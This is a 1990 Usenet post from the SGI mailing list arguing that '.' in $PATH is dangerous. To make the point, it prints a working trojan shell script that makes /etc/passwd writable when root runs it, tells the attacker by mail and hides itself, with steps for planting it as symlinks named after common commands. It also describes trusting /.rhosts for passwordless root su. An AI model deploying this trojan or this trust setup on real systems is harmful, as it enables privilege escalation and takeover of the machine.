. in $path

Vernon Schryver vjs at rhyolite.wpd.sgi.com
Sun Apr 15 03:48:21 AEST 1990


In article <10704 at alice.UUCP>, andrew at alice.UUCP (Andrew Hume) writes:
> 
> it seems [su] is the only program that people quote as a real problem;
> always invoking it as a full path seems preferable to not having . in $PATH.


Consider the following, adapted from John Merritt's example:

#!/bin/sh
if /bin/test -w /etc/passwd; then
	echo "the chump bought $0" | /bin/mail cybrpunk
fi
/bin/chmod +w /etc/passwd 2>/dev/null
/bin/rm -f /usr/tmp/.crack ./rm ./test ./ls ./pwd ./who ./df ./su ./mail ./echo
exec $0 $*


Put this in /usr/tmp/.crack, and make symbolic links to it in every writable
directory with names test, rm, ls, pwd, who, df, su, mail, ps, echo and
anything else you think the victum is likely to use.  It is not quite as
elegant as the su password catcher, but it is more effective because it is
more likely to be used.

A vendor whose name I've forgotten, offered a cash reward or something on a
trade show floor a few years ago to anyone who could break into their
super-duper secure system, and then refused to pay when someone
successfully used this technique.

Many of us hate typing passwords.  In the next release of IRIX, the su
command checks /.rhosts for lines like "localhost username" using the
standard BSD style ruserok() code.  This allows me to put "localhost vjs"
in my workstation's /.rhosts file, and never have to type its root
password.  It is a security risk, since if you know my password, you
effectively know my machine's root password, but the security risk of using
this feature is less than any other use of /.rhosts.

The appropriate number of locks and guards varies.  If you are on a small
private network, and if any modems or other external connections are
sufficently well guarded, you may choose to have minimal security hassles.
You may not have any root passwords.  You are free to put "." in your
path if the risk too small to be balanced by the hassle.



Vernon Schryver
Silicon Graphics
vjs at sgi.com



More information about the Comp.sys.sgi mailing list